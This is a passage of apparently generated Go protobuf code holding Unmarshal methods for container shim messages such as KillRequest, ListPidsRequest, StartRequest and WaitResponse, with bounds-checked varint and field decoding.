fieldNum <= 0 { 4255 | return fmt.Errorf("proto: KillRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4256 | } 4257 | switch fieldNum { 4258 | case 1: 4259 | if wireType != 2 { 4260 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4261 | } 4262 | var stringLen uint64 4263 | for shift := uint(0); ; shift += 7 { 4264 | if shift >= 64 { 4265 | return ErrIntOverflowShim 4266 | } 4267 | if iNdEx >= l { 4268 | return io.ErrUnexpectedEOF 4269 | } 4270 | b := dAtA[iNdEx] 4271 | iNdEx++ 4272 | stringLen |= uint64(b&0x7F) << shift 4273 | if b < 0x80 { 4274 | break 4275 | } 4276 | } 4277 | intStringLen := int(stringLen) 4278 | if intStringLen < 0 { 4279 | return ErrInvalidLengthShim 4280 | } 4281 | postIndex := iNdEx + intStringLen 4282 | if postIndex < 0 { 4283 | return ErrInvalidLengthShim 4284 | } 4285 | if postIndex > l { 4286 | return io.ErrUnexpectedEOF 4287 | } 4288 | m.ID = string(dAtA[iNdEx:postIndex]) 4289 | iNdEx = postIndex 4290 | case 2: 4291 | if wireType != 0 { 4292 | return fmt.Errorf("proto: wrong wireType = %d for field Signal", wireType) 4293 | } 4294 | m.Signal = 0 4295 | for shift := uint(0); ; shift += 7 { 4296 | if shift >= 64 { 4297 | return ErrIntOverflowShim 4298 | } 4299 | if iNdEx >= l { 4300 | return io.ErrUnexpectedEOF 4301 | } 4302 | b := dAtA[iNdEx] 4303 | iNdEx++ 4304 | m.Signal |= uint32(b&0x7F) << shift 4305 | if b < 0x80 { 4306 | break 4307 | } 4308 | } 4309 | case 3: 4310 | if wireType != 0 { 4311 | return fmt.Errorf("proto: wrong wireType = %d for field All", wireType) 4312 | } 4313 | var v int 4314 | for shift := uint(0); ; shift += 7 { 4315 | if shift >= 64 { 4316 | return ErrIntOverflowShim 4317 | } 4318 | if iNdEx >= l { 4319 | return io.ErrUnexpectedEOF 4320 | } 4321 | b := dAtA[iNdEx] 4322 | iNdEx++ 4323 | v |= int(b&0x7F) << shift 4324 | if b < 0x80 { 4325 | break 4326 | } 4327 | } 4328 | m.All = bool(v != 0) 4329 | default: 4330 | iNdEx = preIndex 4331 | skippy, err := skipShim(dAtA[iNdEx:]) 4332 | if err != nil { 4333 | return err 4334 | } 4335 | if skippy < 0 { 4336 | return ErrInvalidLengthShim 4337 | } 4338 | if (iNdEx + skippy) < 0 { 4339 | return ErrInvalidLengthShim 4340 | } 4341 | if (iNdEx + skippy) > l { 4342 | return io.ErrUnexpectedEOF 4343 | } 4344 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4345 | iNdEx += skippy 4346 | } 4347 | } 4348 | 4349 | if iNdEx > l { 4350 | return io.ErrUnexpectedEOF 4351 | } 4352 | return nil 4353 | } 4354 | func (m *CloseIORequest) Unmarshal(dAtA []byte) error { 4355 | l := len(dAtA) 4356 | iNdEx := 0 4357 | for iNdEx < l { 4358 | preIndex := iNdEx 4359 | var wire uint64 4360 | for shift := uint(0); ; shift += 7 { 4361 | if shift >= 64 { 4362 | return ErrIntOverflowShim 4363 | } 4364 | if iNdEx >= l { 4365 | return io.ErrUnexpectedEOF 4366 | } 4367 | b := dAtA[iNdEx] 4368 | iNdEx++ 4369 | wire |= uint64(b&0x7F) << shift 4370 | if b < 0x80 { 4371 | break 4372 | } 4373 | } 4374 | fieldNum := int32(wire >> 3) 4375 | wireType := int(wire & 0x7) 4376 | if wireType == 4 { 4377 | return fmt.Errorf("proto: CloseIORequest: wiretype end group for non-group") 4378 | } 4379 | if fieldNum <= 0 { 4380 | return fmt.Errorf("proto: CloseIORequest: illegal tag %d (wire type %d)", fieldNum, wire) 4381 | } 4382 | switch fieldNum { 4383 | case 1: 4384 | if wireType != 2 { 4385 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4386 | } 4387 | var stringLen uint64 4388 | for shift := uint(0); ; shift += 7 { 4389 | if shift >= 64 { 4390 | return ErrIntOverflowShim 4391 | } 4392 | if iNdEx >= l { 4393 | return io.ErrUnexpectedEOF 4394 | } 4395 | b := dAtA[iNdEx] 4396 | iNdEx++ 4397 | stringLen |= uint64(b&0x7F) << shift 4398 | if b < 0x80 { 4399 | break 4400 | } 4401 | } 4402 | intStringLen := int(stringLen) 4403 | if intStringLen < 0 { 4404 | return ErrInvalidLengthShim 4405 | } 4406 | postIndex := iNdEx + intStringLen 4407 | if postIndex < 0 { 4408 | return ErrInvalidLengthShim 4409 | } 4410 | if postIndex > l { 4411 | return io.ErrUnexpectedEOF 4412 | } 4413 | m.ID = string(dAtA[iNdEx:postIndex]) 4414 | iNdEx = postIndex 4415 | case 2: 4416 | if wireType != 0 { 4417 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 4418 | } 4419 | var v int 4420 | for shift := uint(0); ; shift += 7 { 4421 | if shift >= 64 { 4422 | return ErrIntOverflowShim 4423 | } 4424 | if iNdEx >= l { 4425 | return io.ErrUnexpectedEOF 4426 | } 4427 | b := dAtA[iNdEx] 4428 | iNdEx++ 4429 | v |= int(b&0x7F) << shift 4430 | if b < 0x80 { 4431 | break 4432 | } 4433 | } 4434 | m.Stdin = bool(v != 0) 4435 | default: 4436 | iNdEx = preIndex 4437 | skippy, err := skipShim(dAtA[iNdEx:]) 4438 | if err != nil { 4439 | return err 4440 | } 4441 | if skippy < 0 { 4442 | return ErrInvalidLengthShim 4443 | } 4444 | if (iNdEx + skippy) < 0 { 4445 | return ErrInvalidLengthShim 4446 | } 4447 | if (iNdEx + skippy) > l { 4448 | return io.ErrUnexpectedEOF 4449 | } 4450 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4451 | iNdEx += skippy 4452 | } 4453 | } 4454 | 4455 | if iNdEx > l { 4456 | return io.ErrUnexpectedEOF 4457 | } 4458 | return nil 4459 | } 4460 | func (m *ListPidsRequest) Unmarshal(dAtA []byte) error { 4461 | l := len(dAtA) 4462 | iNdEx := 0 4463 | for iNdEx < l { 4464 | preIndex := iNdEx 4465 | var wire uint64 4466 | for shift := uint(0); ; shift += 7 { 4467 | if shift >= 64 { 4468 | return ErrIntOverflowShim 4469 | } 4470 | if iNdEx >= l { 4471 | return io.ErrUnexpectedEOF 4472 | } 4473 | b := dAtA[iNdEx] 4474 | iNdEx++ 4475 | wire |= uint64(b&0x7F) << shift 4476 | if b < 0x80 { 4477 | break 4478 | } 4479 | } 4480 | fieldNum := int32(wire >> 3) 4481 | wireType := int(wire & 0x7) 4482 | if wireType == 4 { 4483 | return fmt.Errorf("proto: ListPidsRequest: wiretype end group for non-group") 4484 | } 4485 | if fieldNum <= 0 { 4486 | return fmt.Errorf("proto: ListPidsRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4487 | } 4488 | switch fieldNum { 4489 | case 1: 4490 | if wireType != 2 { 4491 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4492 | } 4493 | var stringLen uint64 4494 | for shift := uint(0); ; shift += 7 { 4495 | if shift >= 64 { 4496 | return ErrIntOverflowShim 4497 | } 4498 | if iNdEx >= l { 4499 | return io.ErrUnexpectedEOF 4500 | } 4501 | b := dAtA[iNdEx] 4502 | iNdEx++ 4503 | stringLen |= uint64(b&0x7F) << shift 4504 | if b < 0x80 { 4505 | break 4506 | } 4507 | } 4508 | intStringLen := int(stringLen) 4509 | if intStringLen < 0 { 4510 | return ErrInvalidLengthShim 4511 | } 4512 | postIndex := iNdEx + intStringLen 4513 | if postIndex < 0 { 4514 | return ErrInvalidLengthShim 4515 | } 4516 | if postIndex > l { 4517 | return io.ErrUnexpectedEOF 4518 | } 4519 | m.ID = string(dAtA[iNdEx:postIndex]) 4520 | iNdEx = postIndex 4521 | default: 4522 | iNdEx = preIndex 4523 | skippy, err := skipShim(dAtA[iNdEx:]) 4524 | if err != nil { 4525 | return err 4526 | } 4527 | if skippy < 0 { 4528 | return ErrInvalidLengthShim 4529 | } 4530 | if (iNdEx + skippy) < 0 { 4531 | return ErrInvalidLengthShim 4532 | } 4533 | if (iNdEx + skippy) > l { 4534 | return io.ErrUnexpectedEOF 4535 | } 4536 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4537 | iNdEx += skippy 4538 | } 4539 | } 4540 | 4541 | if iNdEx > l { 4542 | return io.ErrUnexpectedEOF 4543 | } 4544 | return nil 4545 | } 4546 | func (m *ListPidsResponse) Unmarshal(dAtA []byte) error { 4547 | l := len(dAtA) 4548 | iNdEx := 0 4549 | for iNdEx < l { 4550 | preIndex := iNdEx 4551 | var wire uint64 4552 | for shift := uint(0); ; shift += 7 { 4553 | if shift >= 64 { 4554 | return ErrIntOverflowShim 4555 | } 4556 | if iNdEx >= l { 4557 | return io.ErrUnexpectedEOF 4558 | } 4559 | b := dAtA[iNdEx] 4560 | iNdEx++ 4561 | wire |= uint64(b&0x7F) << shift 4562 | if b < 0x80 { 4563 | break 4564 | } 4565 | } 4566 | fieldNum := int32(wire >> 3) 4567 | wireType := int(wire & 0x7) 4568 | if wireType == 4 { 4569 | return fmt.Errorf("proto: ListPidsResponse: wiretype end group for non-group") 4570 | } 4571 | if fieldNum <= 0 { 4572 | return fmt.Errorf("proto: ListPidsResponse: illegal tag %d (wire type %d)", fieldNum, wire) 4573 | } 4574 | switch fieldNum { 4575 | case 1: 4576 | if wireType != 2 { 4577 | return fmt.Errorf("proto: wrong wireType = %d for field Processes", wireType) 4578 | } 4579 | var msglen int 4580 | for shift := uint(0); ; shift += 7 { 4581 | if shift >= 64 { 4582 | return ErrIntOverflowShim 4583 | } 4584 | if iNdEx >= l { 4585 | return io.ErrUnexpectedEOF 4586 | } 4587 | b := dAtA[iNdEx] 4588 | iNdEx++ 4589 | msglen |= int(b&0x7F) << shift 4590 | if b < 0x80 { 4591 | break 4592 | } 4593 | } 4594 | if msglen < 0 { 4595 | return ErrInvalidLengthShim 4596 | } 4597 | postIndex := iNdEx + msglen 4598 | if postIndex < 0 { 4599 | return ErrInvalidLengthShim 4600 | } 4601 | if postIndex > l { 4602 | return io.ErrUnexpectedEOF 4603 | } 4604 | m.Processes = append(m.Processes, &task.ProcessInfo{}) 4605 | if err := m.Processes[len(m.Processes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 4606 | return err 4607 | } 4608 | iNdEx = postIndex 4609 | default: 4610 | iNdEx = preIndex 4611 | skippy, err := skipShim(dAtA[iNdEx:]) 4612 | if err != nil { 4613 | return err 4614 | } 4615 | if skippy < 0 { 4616 | return ErrInvalidLengthShim 4617 | } 4618 | if (iNdEx + skippy) < 0 { 4619 | return ErrInvalidLengthShim 4620 | } 4621 | if (iNdEx + skippy) > l { 4622 | return io.ErrUnexpectedEOF 4623 | } 4624 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4625 | iNdEx += skippy 4626 | } 4627 | } 4628 | 4629 | if iNdEx > l { 4630 | return io.ErrUnexpectedEOF 4631 | } 4632 | return nil 4633 | } 4634 | func (m *CheckpointTaskRequest) Unmarshal(dAtA []byte) error { 4635 | l := len(dAtA) 4636 | iNdEx := 0 4637 | for iNdEx < l { 4638 | preIndex := iNdEx 4639 | var wire uint64 4640 | for shift := uint(0); ; shift += 7 { 4641 | if shift >= 64 { 4642 | return ErrIntOverflowShim 4643 | } 4644 | if iNdEx >= l { 4645 | return io.ErrUnexpectedEOF 4646 | } 4647 | b := dAtA[iNdEx] 4648 | iNdEx++ 4649 | wire |= uint64(b&0x7F) << shift 4650 | if b < 0x80 { 4651 | break 4652 | } 4653 | } 4654 | fieldNum := int32(wire >> 3) 4655 | wireType := int(wire & 0x7) 4656 | if wireType == 4 { 4657 | return fmt.Errorf("proto: CheckpointTaskRequest: wiretype end group for non-group") 4658 | } 4659 | if fieldNum <= 0 { 4660 | return fmt.Errorf("proto: CheckpointTaskRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4661 | } 4662 | switch fieldNum { 4663 | case 1: 4664 | if wireType != 2 { 4665 | return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) 4666 | } 4667 | var stringLen uint64 4668 | for shift := uint(0); ; shift += 7 { 4669 | if shift >= 64 { 4670 | return ErrIntOverflowShim 4671 | } 4672 | if iNdEx >= l { 4673 | return io.ErrUnexpectedEOF 4674 | } 4675 | b := dAtA[iNdEx] 4676 | iNdEx++ 4677 | stringLen |= uint64(b&0x7F) << shift 4678 | if b < 0x80 { 4679 | break 4680 | } 4681 | } 4682 | intStringLen := int(stringLen) 4683 | if intStringLen < 0 { 4684 | return ErrInvalidLengthShim 4685 | } 4686 | postIndex := iNdEx + intStringLen 4687 | if postIndex < 0 { 4688 | return ErrInvalidLengthShim 4689 | } 4690 | if postIndex > l { 4691 | return io.ErrUnexpectedEOF 4692 | } 4693 | m.Path = string(dAtA[iNdEx:postIndex]) 4694 | iNdEx = postIndex 4695 | case 2: 4696 | if wireType != 2 { 4697 | return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) 4698 | } 4699 | var msglen int 4700 | for shift := uint(0); ; shift += 7 { 4701 | if shift >= 64 { 4702 | return ErrIntOverflowShim 4703 | } 4704 | if iNdEx >= l { 4705 | return io.ErrUnexpectedEOF 4706 | } 4707 | b := dAtA[iNdEx] 4708 | iNdEx++ 4709 | msglen |= int(b&0x7F) << shift 4710 | if b < 0x80 { 4711 | break 4712 | } 4713 | } 4714 | if msglen < 0 { 4715 | return ErrInvalidLengthShim 4716 | } 4717 | postIndex := iNdEx + msglen 4718 | if postIndex < 0 { 4719 | return ErrInvalidLengthShim 4720 | } 4721 | if postIndex > l { 4722 | return io.ErrUnexpectedEOF 4723 | } 4724 | if m.Options == nil { 4725 | m.Options = &types1.Any{} 4726 | } 4727 | if err := m.Options.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 4728 | return err 4729 | } 4730 | iNdEx = postIndex 4731 | default: 4732 | iNdEx = preIndex 4733 | skippy, err := skipShim(dAtA[iNdEx:]) 4734 | if err != nil { 4735 | return err 4736 | } 4737 | if skippy < 0 { 4738 | return ErrInvalidLengthShim 4739 | } 4740 | if (iNdEx + skippy) < 0 { 4741 | return ErrInvalidLengthShim 4742 | } 4743 | if (iNdEx + skippy) > l { 4744 | return io.ErrUnexpectedEOF 4745 | } 4746 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4747 | iNdEx += skippy 4748 | } 4749 | } 4750 | 4751 | if iNdEx > l { 4752 | return io.ErrUnexpectedEOF 4753 | } 4754 | return nil 4755 | } 4756 | func (m *ShimInfoResponse) Unmarshal(dAtA []byte) error { 4757 | l := len(dAtA) 4758 | iNdEx := 0 4759 | for iNdEx < l { 4760 | preIndex := iNdEx 4761 | var wire uint64 4762 | for shift := uint(0); ; shift += 7 { 4763 | if shift >= 64 { 4764 | return ErrIntOverflowShim 4765 | } 4766 | if iNdEx >= l { 4767 | return io.ErrUnexpectedEOF 4768 | } 4769 | b := dAtA[iNdEx] 4770 | iNdEx++ 4771 | wire |= uint64(b&0x7F) << shift 4772 | if b < 0x80 { 4773 | break 4774 | } 4775 | } 4776 | fieldNum := int32(wire >> 3) 4777 | wireType := int(wire & 0x7) 4778 | if wireType == 4 { 4779 | return fmt.Errorf("proto: ShimInfoResponse: wiretype end group for non-group") 4780 | } 4781 | if fieldNum <= 0 { 4782 | return fmt.Errorf("proto: ShimInfoResponse: illegal tag %d (wire type %d)", fieldNum, wire) 4783 | } 4784 | switch fieldNum { 4785 | case 1: 4786 | if wireType != 0 { 4787 | return fmt.Errorf("proto: wrong wireType = %d for field ShimPid", wireType) 4788 | } 4789 | m.ShimPid = 0 4790 | for shift := uint(0); ; shift += 7 { 4791 | if shift >= 64 { 4792 | return ErrIntOverflowShim 4793 | } 4794 | if iNdEx >= l { 4795 | return io.ErrUnexpectedEOF 4796 | } 4797 | b := dAtA[iNdEx] 4798 | iNdEx++ 4799 | m.ShimPid |= uint32(b&0x7F) << shift 4800 | if b < 0x80 { 4801 | break 4802 | } 4803 | } 4804 | default: 4805 | iNdEx = preIndex 4806 | skippy, err := skipShim(dAtA[iNdEx:]) 4807 | if err != nil { 4808 | return err 4809 | } 4810 | if skippy < 0 { 4811 | return ErrInvalidLengthShim 4812 | } 4813 | if (iNdEx + skippy) < 0 { 4814 | return ErrInvalidLengthShim 4815 | } 4816 | if (iNdEx + skippy) > l { 4817 | return io.ErrUnexpectedEOF 4818 | } 4819 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4820 | iNdEx += skippy 4821 | } 4822 | } 4823 | 4824 | if iNdEx > l { 4825 | return io.ErrUnexpectedEOF 4826 | } 4827 | return nil 4828 | } 4829 | func (m *UpdateTaskRequest) Unmarshal(dAtA []byte) error { 4830 | l := len(dAtA) 4831 | iNdEx := 0 4832 | for iNdEx < l { 4833 | preIndex := iNdEx 4834 | var wire uint64 4835 | for shift := uint(0); ; shift += 7 { 4836 | if shift >= 64 { 4837 | return ErrIntOverflowShim 4838 | } 4839 | if iNdEx >= l { 4840 | return io.ErrUnexpectedEOF 4841 | } 4842 | b := dAtA[iNdEx] 4843 | iNdEx++ 4844 | wire |= uint64(b&0x7F) << shift 4845 | if b < 0x80 { 4846 | break 4847 | } 4848 | } 4849 | fieldNum := int32(wire >> 3) 4850 | wireType := int(wire & 0x7) 4851 | if wireType == 4 { 4852 | return fmt.Errorf("proto: UpdateTaskRequest: wiretype end group for non-group") 4853 | } 4854 | if fieldNum <= 0 { 4855 | return fmt.Errorf("proto: UpdateTaskRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4856 | } 4857 | switch fieldNum { 4858 | case 1: 4859 | if wireType != 2 { 4860 | return fmt.Errorf("proto: wrong wireType = %d for field Resources", wireType) 4861 | } 4862 | var msglen int 4863 | for shift := uint(0); ; shift += 7 { 4864 | if shift >= 64 { 4865 | return ErrIntOverflowShim 4866 | } 4867 | if iNdEx >= l { 4868 | return io.ErrUnexpectedEOF 4869 | } 4870 | b := dAtA[iNdEx] 4871 | iNdEx++ 4872 | msglen |= int(b&0x7F) << shift 4873 | if b < 0x80 { 4874 | break 4875 | } 4876 | } 4877 | if msglen < 0 { 4878 | return ErrInvalidLengthShim 4879 | } 4880 | postIndex := iNdEx + msglen 4881 | if postIndex < 0 { 4882 | return ErrInvalidLengthShim 4883 | } 4884 | if postIndex > l { 4885 | return io.ErrUnexpectedEOF 4886 | } 4887 | if m.Resources == nil { 4888 | m.Resources = &types1.Any{} 4889 | } 4890 | if err := m.Resources.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 4891 | return err 4892 | } 4893 | iNdEx = postIndex 4894 | default: 4895 | iNdEx = preIndex 4896 | skippy, err := skipShim(dAtA[iNdEx:]) 4897 | if err != nil { 4898 | return err 4899 | } 4900 | if skippy < 0 { 4901 | return ErrInvalidLengthShim 4902 | } 4903 | if (iNdEx + skippy) < 0 { 4904 | return ErrInvalidLengthShim 4905 | } 4906 | if (iNdEx + skippy) > l { 4907 | return io.ErrUnexpectedEOF 4908 | } 4909 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4910 | iNdEx += skippy 4911 | } 4912 | } 4913 | 4914 | if iNdEx > l { 4915 | return io.ErrUnexpectedEOF 4916 | } 4917 | return nil 4918 | } 4919 | func (m *StartRequest) Unmarshal(dAtA []byte) error { 4920 | l := len(dAtA) 4921 | iNdEx := 0 4922 | for iNdEx < l { 4923 | preIndex := iNdEx 4924 | var wire uint64 4925 | for shift := uint(0); ; shift += 7 { 4926 | if shift >= 64 { 4927 | return ErrIntOverflowShim 4928 | } 4929 | if iNdEx >= l { 4930 | return io.ErrUnexpectedEOF 4931 | } 4932 | b := dAtA[iNdEx] 4933 | iNdEx++ 4934 | wire |= uint64(b&0x7F) << shift 4935 | if b < 0x80 { 4936 | break 4937 | } 4938 | } 4939 | fieldNum := int32(wire >> 3) 4940 | wireType := int(wire & 0x7) 4941 | if wireType == 4 { 4942 | return fmt.Errorf("proto: StartRequest: wiretype end group for non-group") 4943 | } 4944 | if fieldNum <= 0 { 4945 | return fmt.Errorf("proto: StartRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4946 | } 4947 | switch fieldNum { 4948 | case 1: 4949 | if wireType != 2 { 4950 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4951 | } 4952 | var stringLen uint64 4953 | for shift := uint(0); ; shift += 7 { 4954 | if shift >= 64 { 4955 | return ErrIntOverflowShim 4956 | } 4957 | if iNdEx >= l { 4958 | return io.ErrUnexpectedEOF 4959 | } 4960 | b := dAtA[iNdEx] 4961 | iNdEx++ 4962 | stringLen |= uint64(b&0x7F) << shift 4963 | if b < 0x80 { 4964 | break 4965 | } 4966 | } 4967 | intStringLen := int(stringLen) 4968 | if intStringLen < 0 { 4969 | return ErrInvalidLengthShim 4970 | } 4971 | postIndex := iNdEx + intStringLen 4972 | if postIndex < 0 { 4973 | return ErrInvalidLengthShim 4974 | } 4975 | if postIndex > l { 4976 | return io.ErrUnexpectedEOF 4977 | } 4978 | m.ID = string(dAtA[iNdEx:postIndex]) 4979 | iNdEx = postIndex 4980 | default: 4981 | iNdEx = preIndex 4982 | skippy, err := skipShim(dAtA[iNdEx:]) 4983 | if err != nil { 4984 | return err 4985 | } 4986 | if skippy < 0 { 4987 | return ErrInvalidLengthShim 4988 | } 4989 | if (iNdEx + skippy) < 0 { 4990 | return ErrInvalidLengthShim 4991 | } 4992 | if (iNdEx + skippy) > l { 4993 | return io.ErrUnexpectedEOF 4994 | } 4995 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4996 | iNdEx += skippy 4997 | } 4998 | } 4999 | 5000 | if iNdEx > l { 5001 | return io.ErrUnexpectedEOF 5002 | } 5003 | return nil 5004 | } 5005 | func (m *StartResponse) Unmarshal(dAtA []byte) error { 5006 | l := len(dAtA) 5007 | iNdEx := 0 5008 | for iNdEx < l { 5009 | preIndex := iNdEx 5010 | var wire uint64 5011 | for shift := uint(0); ; shift += 7 { 5012 | if shift >= 64 { 5013 | return ErrIntOverflowShim 5014 | } 5015 | if iNdEx >= l { 5016 | return io.ErrUnexpectedEOF 5017 | } 5018 | b := dAtA[iNdEx] 5019 | iNdEx++ 5020 | wire |= uint64(b&0x7F) << shift 5021 | if b < 0x80 { 5022 | break 5023 | } 5024 | } 5025 | fieldNum := int32(wire >> 3) 5026 | wireType := int(wire & 0x7) 5027 | if wireType == 4 { 5028 | return fmt.Errorf("proto: StartResponse: wiretype end group for non-group") 5029 | } 5030 | if fieldNum <= 0 { 5031 | return fmt.Errorf("proto: StartResponse: illegal tag %d (wire type %d)", fieldNum, wire) 5032 | } 5033 | switch fieldNum { 5034 | case 1: 5035 | if wireType != 2 { 5036 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 5037 | } 5038 | var stringLen uint64 5039 | for shift := uint(0); ; shift += 7 { 5040 | if shift >= 64 { 5041 | return ErrIntOverflowShim 5042 | } 5043 | if iNdEx >= l { 5044 | return io.ErrUnexpectedEOF 5045 | } 5046 | b := dAtA[iNdEx] 5047 | iNdEx++ 5048 | stringLen |= uint64(b&0x7F) << shift 5049 | if b < 0x80 { 5050 | break 5051 | } 5052 | } 5053 | intStringLen := int(stringLen) 5054 | if intStringLen < 0 { 5055 | return ErrInvalidLengthShim 5056 | } 5057 | postIndex := iNdEx + intStringLen 5058 | if postIndex < 0 { 5059 | return ErrInvalidLengthShim 5060 | } 5061 | if postIndex > l { 5062 | return io.ErrUnexpectedEOF 5063 | } 5064 | m.ID = string(dAtA[iNdEx:postIndex]) 5065 | iNdEx = postIndex 5066 | case 2: 5067 | if wireType != 0 { 5068 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 5069 | } 5070 | m.Pid = 0 5071 | for shift := uint(0); ; shift += 7 { 5072 | if shift >= 64 { 5073 | return ErrIntOverflowShim 5074 | } 5075 | if iNdEx >= l { 5076 | return io.ErrUnexpectedEOF 5077 | } 5078 | b := dAtA[iNdEx] 5079 | iNdEx++ 5080 | m.Pid |= uint32(b&0x7F) << shift 5081 | if b < 0x80 { 5082 | break 5083 | } 5084 | } 5085 | default: 5086 | iNdEx = preIndex 5087 | skippy, err := skipShim(dAtA[iNdEx:]) 5088 | if err != nil { 5089 | return err 5090 | } 5091 | if skippy < 0 { 5092 | return ErrInvalidLengthShim 5093 | } 5094 | if (iNdEx + skippy) < 0 { 5095 | return ErrInvalidLengthShim 5096 | } 5097 | if (iNdEx + skippy) > l { 5098 | return io.ErrUnexpectedEOF 5099 | } 5100 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 5101 | iNdEx += skippy 5102 | } 5103 | } 5104 | 5105 | if iNdEx > l { 5106 | return io.ErrUnexpectedEOF 5107 | } 5108 | return nil 5109 | } 5110 | func (m *WaitRequest) Unmarshal(dAtA []byte) error { 5111 | l := len(dAtA) 5112 | iNdEx := 0 5113 | for iNdEx < l { 5114 | preIndex := iNdEx 5115 | var wire uint64 5116 | for shift := uint(0); ; shift += 7 { 5117 | if shift >= 64 { 5118 | return ErrIntOverflowShim 5119 | } 5120 | if iNdEx >= l { 5121 | return io.ErrUnexpectedEOF 5122 | } 5123 | b := dAtA[iNdEx] 5124 | iNdEx++ 5125 | wire |= uint64(b&0x7F) << shift 5126 | if b < 0x80 { 5127 | break 5128 | } 5129 | } 5130 | fieldNum := int32(wire >> 3) 5131 | wireType := int(wire & 0x7) 5132 | if wireType == 4 { 5133 | return fmt.Errorf("proto: WaitRequest: wiretype end group for non-group") 5134 | } 5135 | if fieldNum <= 0 { 5136 | return fmt.Errorf("proto: WaitRequest: illegal tag %d (wire type %d)", fieldNum, wire) 5137 | } 5138 | switch fieldNum { 5139 | case 1: 5140 | if wireType != 2 { 5141 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 5142 | } 5143 | var stringLen uint64 5144 | for shift := uint(0); ; shift += 7 { 5145 | if shift >= 64 { 5146 | return ErrIntOverflowShim 5147 | } 5148 | if iNdEx >= l { 5149 | return io.ErrUnexpectedEOF 5150 | } 5151 | b := dAtA[iNdEx] 5152 | iNdEx++ 5153 | stringLen |= uint64(b&0x7F) << shift 5154 | if b < 0x80 { 5155 | break 5156 | } 5157 | } 5158 | intStringLen := int(stringLen) 5159 | if intStringLen < 0 { 5160 | return ErrInvalidLengthShim 5161 | } 5162 | postIndex := iNdEx + intStringLen 5163 | if postIndex < 0 { 5164 | return ErrInvalidLengthShim 5165 | } 5166 | if postIndex > l { 5167 | return io.ErrUnexpectedEOF 5168 | } 5169 | m.ID = string(dAtA[iNdEx:postIndex]) 5170 | iNdEx = postIndex 5171 | default: 5172 | iNdEx = preIndex 5173 | skippy, err := skipShim(dAtA[iNdEx:]) 5174 | if err != nil { 5175 | return err 5176 | } 5177 | if skippy < 0 { 5178 | return ErrInvalidLengthShim 5179 | } 5180 | if (iNdEx + skippy) < 0 { 5181 | return ErrInvalidLengthShim 5182 | } 5183 | if (iNdEx + skippy) > l { 5184 | return io.ErrUnexpectedEOF 5185 | } 5186 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 5187 | iNdEx += skippy 5188 | } 5189 | } 5190 | 5191 | if iNdEx > l { 5192 | return io.ErrUnexpectedEOF 5193 | } 5194 | return nil 5195 | } 5196 | func (m *WaitResponse) Unmarshal(dAtA []byte) error { 5197 | l := len(dAtA) 5198 | iNdEx := 0 5199 | for iNdEx < l { 5200 | preIndex := iNdEx 5201 | var wire uint64 5202 | for shift := uint(0); ; shift += 7 { 5203 | if shift >= 64 { 5204 | return ErrIntOverflowShim 5205 | } 5206 | if iNdEx >= l { 5207 | return io.ErrUnexpectedEOF 5208 | } 5209 | b := dAtA[iNdEx] 5210 | iNdEx++ 5211 | wire |= uint64(b&0x7F) << shift 5212 | if b < 0x80 { 5213 | break 5214 | } 5215 | } 5216 | fieldNum := int32(wire >> 3) 5217 | wireType := int(wire & 0x7) 5218 | if wireType == 4 { 5219 | return fmt.Errorf("proto: WaitResponse: wiretype end group for non-group") 5220 | } 5221 | if fieldNum <= 0 { 5222 | return fmt.Errorf("proto: WaitResponse: illegal tag %d (wire type %d)", fieldNum, wire) 5223 | } 5224 | switch fieldNum { 5225 | case 1: 5226 | if wireType != 0 { 5227 | return fmt.Errorf("proto: wrong wireType = %d for field ExitStatus", wireType) 5228 | } 5229 | m.ExitStatus = 0 5230 | for shift := uint(0); ; shift += 7 { 5231 | if shift >= 64 { 5232 | return ErrIntOverflowShim 5233 | } 5234 | if iNdEx >= l { 5235 | return io.ErrUnexpectedEOF 5236 | } 5237 | b := dAtA[iNdEx] 5238 | iNdEx++ 5239 | m.ExitStatus |= uint32(b&0x7F) << shift 5240 | if b < 0x80 { 5241 | break 5242 | } 5243 | } 5244 | case 2: 5245 | if wireType != 2 { 5246 | return fmt.Errorf("proto: wrong wireType = %d for field ExitedAt", wireType) 5247 | } 5248 | var msglen int 5249 | for shift := uint(0); ; shift += 7 { 5250 | if shift >= 64 { 5251 | return ErrIntOverflowShim 5252 | } 5253 | if iNdEx >= l { 5254 | return io.ErrUnexpectedEOF 5255 | } 5256 | b := dAtA[iNdEx] 5257 | iNdEx++ 5258 | msglen |= int(b&0x7F) << shift 5259 | if b < 0x80 { 5260 | break 5261 | } 5262 | } 5263 | if msglen < 0 { 5264 | return ErrInvalidLengthShim 5265 | } 5266 | postIndex := iNdEx + msglen 5267 | if postIndex < 0 { 5268 